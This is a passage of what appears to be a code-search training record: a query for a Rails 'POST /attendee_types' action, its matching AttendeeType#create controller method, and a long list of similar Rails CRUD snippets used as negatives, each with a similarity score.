:xml => @rule_type }\n end\n end", "def new\r\n @meeting_type = MeetingType.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @meeting_type }\r\n end\r\n end", "def create\n @attendee = Attendee.new(attendee_params)\n\n respond_to do |format|\n if @attendee.save\n format.json { render json: @attendee.to_json, status: :created }\n else\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attendee = Attendee.new(params[:attendee])\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to attendees_path, flash: { success: \"#{@attendee.name} was successfully created.\" } }\n format.json { render json: @attendee, status: :created, location: @attendee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @incident_type = IncidentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident_type }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def new\n @page = Page.new\n\t\t@types = Type.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request }\n end\n end", "def new\n @dl_type = DlType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dl_type }\n end\n end", "def new\n @remuneration_type = RemunerationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @remuneration_type }\n end\n end", "def new\n @entry_mail_type = EntryMailType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @entry_mail_type }\n end\n end", "def new\n @subscription_type = SubscriptionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subscription_type }\n end\n end", "def create\n @outgoing_type = OutgoingType.new(params[:outgoing_type])\n\n respond_to do |format|\n if @outgoing_type.save\n format.html { redirect_to(outgoing_types_path, :notice => 'Outgoing type was successfully created.') }\n format.xml { render :xml => @outgoing_type, :status => :created, :location => @outgoing_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outgoing_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @applicant_status = ApplicantStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @applicant_status }\n end\n end", "def new\n @objecttype = Objecttype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @objecttype }\n end\n end", "def new\n @terrain_type = TerrainType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @terrain_type }\n end\n end", "def new\n @etd = Etd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etd }\n end\n end" ]
[ "0.7414288", "0.6966798", "0.6898391", "0.6898391", "0.68952966", "0.6874957", "0.6844455", "0.67740226", "0.6749548", "0.6738392", "0.6704347", "0.6651067", "0.6649988", "0.66105187", "0.6608392", "0.6592187", "0.65697175", "0.6546416", "0.6542467", "0.6538734", "0.6528678", "0.6527835", "0.6525904", "0.652124", "0.65066487", "0.64782166", "0.64705217", "0.64667606", "0.6455675", "0.64428645", "0.6437561", "0.6430557", "0.6423085", "0.6385722", "0.63769966", "0.6367019", "0.63618386", "0.6361663", "0.6360984", "0.6340626", "0.633653", "0.63292706", "0.6323711", "0.6315998", "0.6301039", "0.6294058", "0.62786984", "0.627848", "0.62660336", "0.6263955", "0.6259636", "0.6257159", "0.6251393", "0.6251196", "0.6244721", "0.62402576", "0.62353903", "0.62271774", "0.6223937", "0.62205434", "0.62059355", "0.620225", "0.6201887", "0.6201887", "0.6194537", "0.61908275", "0.61871904", "0.61861306", "0.6181595", "0.6179523", "0.617751", "0.6177439", "0.61773866", "0.61703604", "0.6166292", "0.6151996", "0.6148152", "0.6144186", "0.61372274", "0.6129143", "0.6121217", "0.6109713", "0.61052257", "0.6098868", "0.6097887", "0.6091248", "0.60900366", "0.6088398", "0.6088398", "0.60862076", "0.60790324", "0.6074635", "0.60740894", "0.6071287", "0.60711616", "0.6070724", "0.6065561", "0.60606533", "0.6050555", "0.60495853" ]
0.79296446
0
POST /attendee_types POST /attendee_types.xml
def create @attendee_type = AttendeeType.new(params[:attendee_type]) respond_to do |format| if @attendee_type.save flash[:notice] = 'AttendeeType was successfully created.' format.html { redirect_to(@attendee_type) } format.xml { render :xml => @attendee_type, :status => :created, :location => @attendee_type } else format.html { render :action => "new" } format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @attendee = Attendee.new(attendee_params)\n\n respond_to do |format|\n if @attendee.save\n format.json { render json: @attendee.to_json, status: :created }\n else\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def attendee_params\n params.require(:attendee).permit(:attended)\n end", "def new\n @attendee_type = AttendeeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendee_type }\n end\n end", "def create\n @attendence_type = AttendenceType.new(attendence_type_params)\n\n respond_to do |format|\n if @attendence_type.save\n format.html { redirect_to @attendence_type, notice: 'Attendence type was successfully created.' }\n format.json { render :show, status: :created, location: @attendence_type }\n else\n format.html { render :new }\n format.json { render json: @attendence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def appointment_types(params = {})\n scope 'default'\n get('schedule/appointmenttypes/', params)\n end", "def attendence_type_params\n params.require(:attendence_type).permit(:name)\n end", "def create\n @attendee = Attendee.new(attendee_params)\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to @attendee, :notice => 'Attendee was successfully created.' }\n format.json { render :json => @attendee, :status => :created, :location => @attendee }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @attendee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def sell_payment_types_create (email, params={})\r\n url = api_url \"/sell/payment_types​/new\"\r\n load = MultiJson.dump email: email\r\n req = request_params(params)\r\n\r\n feed_or_retry do\r\n RestClient.post url, load, req \r\n end \r\n end", "def create\n @attendee = Attendee.new(attendee_params)\n\n if @attendee.save\n render :status => 200,\n :json => { :success => true,\n :info => \"Attendee Created\",\n :data => {} }\n else\n render :status => :unprocessable_entity,\n :json => { :success => false,\n :info => resource.errors,\n :data => {} }\n end\n end", "def evals_types\n call_path = \"evals/types\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end", "def create\n inc_id = 1\n unless @event.attendees.blank?\n inc_id = @event.attendees.last.attendee_id.gsub(@event.token_for_id, \"\").to_i + 1\n end\n params[:attendee][:attendee_id] = @event.token_for_id + \"%04d\" % inc_id\n params[:attendee][:a_platform] = params[:attendee][:a_platform].join(\";\") unless params[:attendee][:a_platform].nil?\n params[:attendee][:a_market_segment] = params[:attendee][:a_market_segment].join(\";\") unless params[:attendee][:a_market_segment].nil?\n params[:attendee][:confirmation_token] = Array.new(10) {[*'0'..'9', *'a'..'z'].sample}.join\n params[:attendee][:a_sector] = \"N/A\"\n params[:attendee][:e_ext_number] = 0\n params[:attendee][:e_lada] = 0\n params[:attendee][:e_zip_code] = \"N/A\"\n @attendee = Attendee.new(params[:attendee])\n \n respond_to do |format|\n if @attendee.save\n #AttendeeMailer.welcome_email(@attendee).deliver!\n format.html { redirect_to @attendee, notice: t(:successfully_created) }\n format.json { render json: @attendee, status: :created, location: @attendee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attendee = Attendee.new(params[:attendee])\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to(@attendee) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n @attendee = Attendee.new(params[:attendee])\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to attendees_path, flash: { success: \"#{@attendee.name} was successfully created.\" } }\n format.json { render json: @attendee, status: :created, location: @attendee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def email_type_list_params\n params.require(:email_type_list).permit(:uuid, :name)\n end", "def create\n @attendee = Attendee.create!(attendee_params)\n\n redirect_to events_path if @attendee.save\n end", "def destroy\n @attendee_type = AttendeeType.find(params[:id])\n @attendee_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(attendee_types_url) }\n format.xml { head :ok }\n end\n end", "def create\n @outgoing_type = OutgoingType.new(params[:outgoing_type])\n\n respond_to do |format|\n if @outgoing_type.save\n format.html { redirect_to(outgoing_types_path, :notice => 'Outgoing type was successfully created.') }\n format.xml { render :xml => @outgoing_type, :status => :created, :location => @outgoing_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @outgoing_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def webinar_attendee_params\n params.require(:webinar_attendee).permit(:webinar_id, :attendee_id, :attended, attendees_attributes: [:id, :name, :email, :school_name, :active])\n end", "def departuretype_params\n params.require(:departuretype).permit(:departureTypes)\n end", "def update\n @attendee_type = AttendeeType.find(params[:id])\n\n respond_to do |format|\n if @attendee_type.update_attributes(params[:attendee_type])\n flash[:notice] = 'AttendeeType was successfully updated.'\n format.html { redirect_to(@attendee_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_types\n\t[]\nend", "def create_types\n\t[]\nend", "def create\n\n unless @registration_enabled\n redirect_to root_path\n return\n end\n\n @attendee = Attendee.new(params[:attendee])\n @attendee.valid?\n\n respond_to do |format|\n if @attendee.save\n AttendeeMailer.registration_email(@attendee).deliver\n format.html { redirect_to root_path, notice: t(\"notice.registration.success_#{@attendee.actual_registration_type}\")}\n format.json { render json: @attendee, status: :created, location: @attendee }\n else\n @registration_in_progress = @attendee.errors.keys.any?\n format.html { render action: \"new\" }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_types\n\t\t[]\n\tend", "def create_types\n\t\t[]\n\tend", "def create\n @email_type = EmailType.new(params[:email_type])\n\n respond_to do |format|\n if @email_type.save\n format.html { redirect_to(@email_type, :notice => 'Email type was successfully created.') }\n format.xml { render :xml => @email_type, :status => :created, :location => @email_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @email_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @attendence_types = AttendenceType.all\n end", "def arrivaltype_params\n params.require(:arrivaltype).permit(:arrivalTypes)\n end", "def day_type_params\n params.require(:day_type).permit(:regular, :date_created, :user_id)\n end", "def create\n @event_type = EventType.new(event_type_params)\n\n respond_to do |format|\n if @event_type.save\n format.html { redirect_to(@event_type, notice: 'Event type was successfully created.') }\n format.xml { render xml: @event_type, status: :created, location: @event_type }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @event_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def email_type_params\n params.require(:email_type).permit(:code, :description, :observation)\n end", "def addAttendee(name)\n RSVP.add(@id,name)\n end", "def create\n \n \n\t@attending = current_user.attendings.build(params[:attending])\n\n respond_to do |format|\n if @attending.save\n\t \n format.html { redirect_to @attending, notice: 'Your RSVP was successfully created.' }\n format.json { render json: @attending, status: :created, location: @attending }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attending.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @email_type = EmailType.new(email_type_params)\n\n respond_to do |format|\n if @email_type.save\n format.html { redirect_to @email_type, notice: 'Email type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @email_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @email_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_attendence_type\n @attendence_type = AttendenceType.find(params[:id])\n end", "def create\n @type = Type.new(type_params)\n @sub_types = params[:subtype_attributes]\n if @type.save\n @sub_types.each do |subtype|\n @subtype = @type.subtype.new\n @subtype.name = subtype[\"name\"]\n @subtype.code = subtype[\"code\"]\n @subtype.save\n end\n flash[:notice] = 'Type was successfully created.'\n redirect_to types_path\n else\n flash[:error] = @type.errors.full_messages\n render \"new\"\n end\n end", "def encounters_type_params\n params.require(:encounters_type).permit(:name, :description, :creator, :date_created, :retired, :retired_by, :date_retired, :retire_reason, :uuid)\n end", "def attendee_params\n params.require(:attendee).\n permit(\n :first_name,\n :last_name,\n :email,\n :welcome_drinks,\n :wedding,\n :guests,\n :dietary_restrictions,\n :transportation,\n :lodging,\n :favorite_drink,\n :sunday_breakfast,\n :comments\n )\n end", "def create\n @email_type_list = @email.EmailTypeList.build(email_type_list_params)\n\n respond_to do |format|\n if @email_type_list.save\n format.html { redirect_to @email_type_list, notice: 'Email type list was successfully created.' }\n format.json { render :show, status: :created, location: @email_type_list }\n else\n format.html { render :new }\n format.json { render json: @email_type_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n unless check_attending\n\n # raise StandardError\n \n\n @attendee = Attendee.new(attendee_params)\n \n @attendee.user = current_user\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to :back }\n format.json { render :show, status: :created, location: @attendee }\n else\n format.html { render :new }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to :back, notice: 'Already signed up'\n # flash[:notice] = \n end \n end", "def create (attendee)\n\n # respond_to do |format|\n\n # Sends email to user when user is created.\n ItineraryMailer.sample_email(attendee).deliver_now\n\n\n # format.html { redirect_to attendee, notice: 'Attendee was successfully created.' }\n # format.json { render :show, status: :created, location: attendee }\n # else\n # format.html { render :new }\n # format.json { render json: @attendee.errors, status: :unprocessable_entity }\n # end\n end", "def create\n @day_type = DayType.new(day_type_params)\n\n respond_to do |format|\n if @day_type.save\n format.html { redirect_to @day_type, notice: 'Day type was successfully created.' }\n format.json { render :show, status: :created, location: @day_type }\n else\n format.html { render :new }\n format.json { render json: @day_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @attendee_type = AttendeeType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attendee_type }\n end\n end", "def create\n @role_types = RoleTypes.new(params[:role_types])\n\n respond_to do |format|\n if @role_types.save\n flash[:notice] = 'RoleTypes was successfully created.'\n format.html { redirect_to(@role_types) }\n format.xml { render :xml => @role_types, :status => :created, :location => @role_types }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @role_types.errors, :status => :unprocessable_entity }\n end\n end\n end", "def attendee_params\n params.require(:attendee).permit(:event_id, :user_id, :skill_id)\n end", "def create\n @establishment_type = @event.establishment_types.build(params[:establishment_type])\n\n respond_to do |format|\n if @establishment_type.save\n format.html { redirect_to([@event, @establishment_type], :notice => 'Establishment type was successfully created.') }\n format.xml { render :xml => @establishment_type, :status => :created, :location => @establishment_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @establishment_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_attendees!(required, optional = [], resources = [])\n add_attendees(required, optional, resources)\n save!\n end", "def create\n @daytype = Daytype.new(params[:daytype])\n\n respond_to do |format|\n if @daytype.save\n format.html { redirect_to @daytype, notice: 'Daytype was successfully created.' }\n format.json { render json: @daytype, status: :created, location: @daytype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @daytype.errors, status: :unprocessable_entity }\n end\n end\n end", "def eventtype_params\n params.require(:eventtype).permit(:name)\n end", "def create\n @fender_type = FenderType.new(fender_type_params)\n\n respond_to do |format|\n if @fender_type.save\n format.html { redirect_to fender_types_path, notice: 'Fender type was successfully created.' }\n format.json { render :show, status: :created, location: @fender_type }\n else\n format.html { render :new }\n format.json { render json: @fender_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n @client = Client.find(params[:event][:client_id])\n @event_type = EventType.find(params[:selected])\n if @event_type.node == false\n @event.event_type_id = params[:selected]\n end\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Ereignis wurde erfolgreich angelegt' }\n format.json { render json: @event, status: :created, location: @event }\n else\n @root = EventType.find(2)\n\n #sämtliche EventTypen die dem Klienten zur Auswahl stehen\n @event_type_amount = Array.new\n @client.event_types.each do |node|\n node.descendants.each do |descendant|\n @event_type_amount << descendant\n end\n node.ancestors.each do |ancestor|\n @event_type_amount << ancestor\n end\n @event_type_amount << node\n end\n @event_type_amount = @event_type_amount.uniq\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def event_type_params\n params.require(:event_type).permit(:event_type_name)\n end", "def event_type_params\n params.require(:event_type).permit(:name, :body, :user_id)\n end", "def create\n @attr_type = AttrType.new(params[:attr_type])\n\n respond_to do |format|\n if @attr_type.save\n flash[:notice] = 'AttrType was successfully created.'\n format.html { redirect_to(@attr_type) }\n format.xml { render :xml => @attr_type, :status => :created, :location => @attr_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attr_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_types\n\t[Domain]\nend", "def date_type_params\n params.require(:date_type).permit(:name, :plainformat, :senml)\n end", "def create\n @custom_question_attendee = CustomQuestionAttendee.new(params[:custom_question_attendee])\n\n respond_to do |format|\n if @custom_question_attendee.save\n format.html { redirect_to(@custom_question_attendee, :notice => 'Custom question attendee was successfully created.') }\n format.xml { render :xml => @custom_question_attendee, :status => :created, :location => @custom_question_attendee }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @custom_question_attendee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def event_type_params\n params.require(:event_type).permit(:name)\n end", "def create\n @meeting_type = MeetingType.new(meeting_type_params)\n\n respond_to do |format|\n if @meeting_type.save\n format.html { redirect_to @meeting_type, notice: 'Meeting type was successfully created.' }\n format.json { render :show, status: :created, location: @meeting_type }\n else\n format.html { render :new }\n format.json { render json: @meeting_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def appointment_type(params = {})\n appointment_type = params.delete :uuid\n\n response =\n default_scope.get(\"schedule/appointmenttypes/#{appointment_type}\") do |request|\n request.params = params\n end\n\n JSON.parse(response.body)\n end", "def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end", "def departure_type_params\n params.require(:departure_type).permit(:name)\n end", "def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end", "def create\n @entry_mail_type = EntryMailType.new(params[:entry_mail_type])\n \n respond_to do |format|\n if @entry_mail_type.save\n format.html { redirect_to @entry_mail_type, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @entry_mail_type.class.model_name.human) }\n format.json { render :json => @entry_mail_type, :status => :created, :location => @entry_mail_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @entry_mail_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @association_type = AssociationType.new(params[:association_type])\n\n respond_to do |format|\n if @association_type.save\n flash[:notice] = 'AssociationType was successfully created.'\n format.html { redirect_to(@association_type) }\n format.xml { render :xml => @association_type, :status => :created, :location => @association_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @association_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def address_type_list_params\n params.require(:address_type_list).permit(:uuid, :name)\n end", "def devicetype_params\n params.require(:devicetype).permit(:type)\n end", "def bulk_attendance_params\n params.require(:bulk_attendance).permit(:title, :date, { :attendees => [] }, :desc)\n end", "def create\n @consumer_event_type = ConsumerEventType.new(params[:consumer_event_type])\n\n respond_to do |format|\n if @consumer_event_type.save\n format.html { redirect_to(@consumer_event_type, :notice => 'Consumer event type was successfully created.') }\n format.xml { render :xml => @consumer_event_type, :status => :created, :location => @consumer_event_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @consumer_event_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @edge_type = EdgeType.new(params[:edge_type])\n\n respond_to do |format|\n if @edge_type.save\n format.html { redirect_to @edge_type, notice: 'Edge type was successfully created.' }\n format.json { render json: @edge_type, status: :created, location: @edge_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @edge_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attender = Attender.new(params[:attender])\n\n respond_to do |format|\n if @attender.save\n flash[:notice] = 'Attender was successfully created.'\n format.html { redirect_to(@attender) }\n format.xml { render :xml => @attender, :status => :created, :location => @attender }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attender.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @attend = Attend.new(params[:attend])\n\n respond_to do |format|\n if @attend.save\n format.html { redirect_to :back }\n format.xml { render :xml => @attend, :status => :created, :location => @attend }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attend.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @eventtype = Eventtype.new(eventtype_params)\n\n respond_to do |format|\n if @eventtype.save\n format.html { redirect_to @eventtype, notice: 'Eventtype was successfully created.' }\n format.json { render action: 'show', status: :created, location: @eventtype }\n else\n format.html { render action: 'new' }\n format.json { render json: @eventtype.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @partytype = Partytype.new(params[:partytype])\n\n respond_to do |format|\n if @partytype.save\n format.html { redirect_to(@partytype, :notice => 'Partytype was successfully created.') }\n format.xml { render :xml => @partytype, :status => :created, :location => @partytype }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @partytype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @agenda_type = AgendaType.new(params[:agenda_type])\n\n respond_to do |format|\n if @agenda_type.save\n format.html { redirect_to @agenda_type, :notice => 'Agenda type was successfully created.' }\n format.json { render :json => @agenda_type, :status => :created, :location => @agenda_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @agenda_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def appointment_type_params\n params.require(:appointment_type).permit(:title, :comment, :user_id, :entity_id, :active_status, :del_status)\n end", "def attendees=(value)\n @attendees = value\n end", "def create\n @departure_type = DepartureType.new(departure_type_params)\n\n respond_to do |format|\n if @departure_type.save\n format.html { redirect_to @departure_type, notice: 'Departure type was successfully created.' }\n format.json { render :show, status: :created, location: @departure_type }\n else\n format.html { render :new }\n format.json { render json: @departure_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @act_type = ActType.new(params[:act_type])\n\n respond_to do |format|\n if @act_type.save\n format.html { redirect_to @act_type, notice: 'Тип документа успешно создан.' }\n format.json { render json: @act_type, status: :created, location: @act_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def attendance_params\n params.require(:attendance).permit(:attendee_id, :event_to_attend_id)\n end", "def create\n @incident_type = IncidentType.new(incident_type_params)\n\n respond_to do |format|\n if @incident_type.save\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully created.' }\n format.json { render :show, status: :created, location: @incident_type }\n else\n format.html { render :new }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type_appointment = TypeAppointment.new(type_appointment_params)\n\n respond_to do |format|\n if @type_appointment.save\n format.html { redirect_to @type_appointment, notice: 'Type appointment was successfully created.' }\n format.json { render :show, status: :created, location: @type_appointment }\n else\n format.html { render :new }\n format.json { render json: @type_appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n flash[:notice] = 'RealtyType was successfully created.'\n format.html { redirect_to(@realty_type) }\n format.xml { render :xml => @realty_type, :status => :created, :location => @realty_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @realty_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n params[:orgao][:tipo_atendimento_ids] ||= []\n\trespond_to do |format|\n if @orgao.save\n format.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi criado com sucesso.\" }\n format.json { render json: @orgao, status: :created, location: @orgao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end", "def membership_type_params\n params.require(:membership_type).permit(:code, :name, :status)\n end", "def create\n @wedding = Wedding.new(params[:wedding])\n if (!params[:wedding][:service_type_ids])\n params[:wedding][:service_type_ids] = params[:wedding][:service_type_ids].split(';')\n end\n params[:wedding][:service_type_ids] ||= []\n ServiceType.all.each do |service_type|\n @wedding.service_types_weddings << ServiceTypesWedding.create(:service_type_id => service_type.id, \n :wedding_id => @wedding.id,\n :activated => params[:wedding][:service_type_ids].include?(service_type.id.to_s))\n end\n\n respond_to do |format|\n if @wedding.save\n format.html { redirect_to @wedding, notice: 'Wedding was successfully created.' }\n format.json { render json: @wedding, status: :created, location: @wedding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wedding.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @agendaitemtype = Agendaitemtype.new(agendaitemtype_params)\n\n respond_to do |format|\n if @agendaitemtype.save\n format.html { redirect_to @agendaitemtype, notice: 'Agendaitemtype was successfully created.' }\n format.json { render json: @agendaitemtype, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agendaitemtype.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @attend = Attend.new(params[:attend])\n\n respond_to do |format|\n if @attend.save\n AtndNotifier.received(@attend).deliver\n format.html { redirect_to @attend, notice: '参加登録に成功しました!' }\n format.json { render json: @attend, status: :created, location: @attend }\n\n p \"call format\"\n else\n format.html { render action: \"new\" }\n format.json { render json: @attend.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_attend\n @attend = Attend.create(userID: current_user.id, eventID: @event.id)\n redirect_to @event\n end", "def attendance_list_params\n params.require(:attendance_list).permit(:data, :description, :type_id)\n end", "def create\n @newsletters_type = NewslettersType.new(params[:newsletters_type])\n\n respond_to do |format|\n if @newsletters_type.save\n format.html { redirect_to(@newsletters_type, :notice => 'Newsletters type was successfully created.') }\n format.xml { render :xml => @newsletters_type, :status => :created, :location => @newsletters_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @newsletters_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @receipt_item_type = current_account.receipt_item_types.create(receipt_item_type_params)\n if @receipt_item_type\n respond_with @receipt_item_type do |format|\n format.json { render :json => current_account.receipt_item_types.include_names.find(@receipt_item_type.id) }\n end\n else\n respond_with @receipt_item_type\n end\n end", "def index\n @event_types = EventType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @event_types }\n end\n end", "def create\n\t\tnew_types = params[:client][:new_status_type_ids]\n\t\tnew_types ||= []\n\t\t\n\t\tparams[:client].delete :new_status_type_ids\n\t\t\n @client = Client.new(params[:client])\n\t\t\n\t\tnew_types.each do |type_id|\n\t\t\tstatus = StatusType.find(type_id)\n\t\t\[email protected]_status_types << AssignedStatusType.new(:start_date => Time.now, :status_type=>status)\n\t\tend\n\n respond_to do |format|\n if @client.save\n flash[:notice] = 'Client was successfully created.'\n format.html { redirect_to(client_url(@client)) }\n format.xml { render :xml => @client, :status => :created, :location => @client }\n else\n\t\t\t\t@crime_sentence = @client.crime_sentences.first\n\t\t\t\t@errors = @client.errors\n format.html { render :action => \"new\" }\n format.xml { render :xml => @client.errors, :status => :unprocessable_entity }\n end\n end\n end", "def types_not_permitted\n %w(City Region Country Activity Restaurant Hotel) - [@type]\n end", "def membership_type_params\n params.require(:membership_type).permit(:name, :short_name, :fee_cents, :duration_days, :number_of_items,\n :description)\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n # Very bad coding but when you create an event, you are automatically made an attendee.\n @attendee = Attendee.create(user_id: current_user.id, event_id: @event.id)\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @users = User.all\n\n @event = current_user.events.build(event_params.except(:invites))\n\n respond_to do |format|\n if @event.save\n\n event_params.slice(:invites).values.each do |x|\n x.each do |y|\n if y.empty?\n else\n user = @users.find(y.to_i)\n @event.attendees << user\n end\n end\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def attending_params\n params.require(:attending).permit(:user_id, :meeting_id, :confirmed)\n end", "def diet_type_params\n params.require(:diet_type).permit(:name)\n end" ]
[ "0.5946869", "0.5792163", "0.57896453", "0.575829", "0.57313937", "0.57079726", "0.5688954", "0.56312746", "0.562494", "0.5593079", "0.55922496", "0.55917466", "0.5585956", "0.5582886", "0.55780035", "0.55186266", "0.5496733", "0.5475496", "0.5475084", "0.5416962", "0.538127", "0.538127", "0.53452593", "0.53421885", "0.53421885", "0.5334666", "0.5304335", "0.5293647", "0.5267558", "0.5238313", "0.5216219", "0.51790154", "0.5161581", "0.5150912", "0.5150402", "0.51484543", "0.5138727", "0.512853", "0.5124192", "0.51209617", "0.5113651", "0.51023936", "0.50965834", "0.50938165", "0.5092434", "0.507821", "0.50678205", "0.5058252", "0.5054555", "0.5039446", "0.5027308", "0.50009245", "0.49947938", "0.49943236", "0.49934828", "0.49925557", "0.4984071", "0.49817732", "0.49810776", "0.49805313", "0.49782866", "0.4971867", "0.49717835", "0.49683395", "0.49669027", "0.49574512", "0.49510813", "0.49499092", "0.49407995", "0.49398017", "0.4937781", "0.49321783", "0.49292687", "0.49166617", "0.49101904", "0.49093428", "0.49020398", "0.4901017", "0.48998696", "0.4898264", "0.48967582", "0.48955715", "0.4894306", "0.4892024", "0.48894516", "0.48867646", "0.48831388", "0.4882495", "0.48818943", "0.48800844", 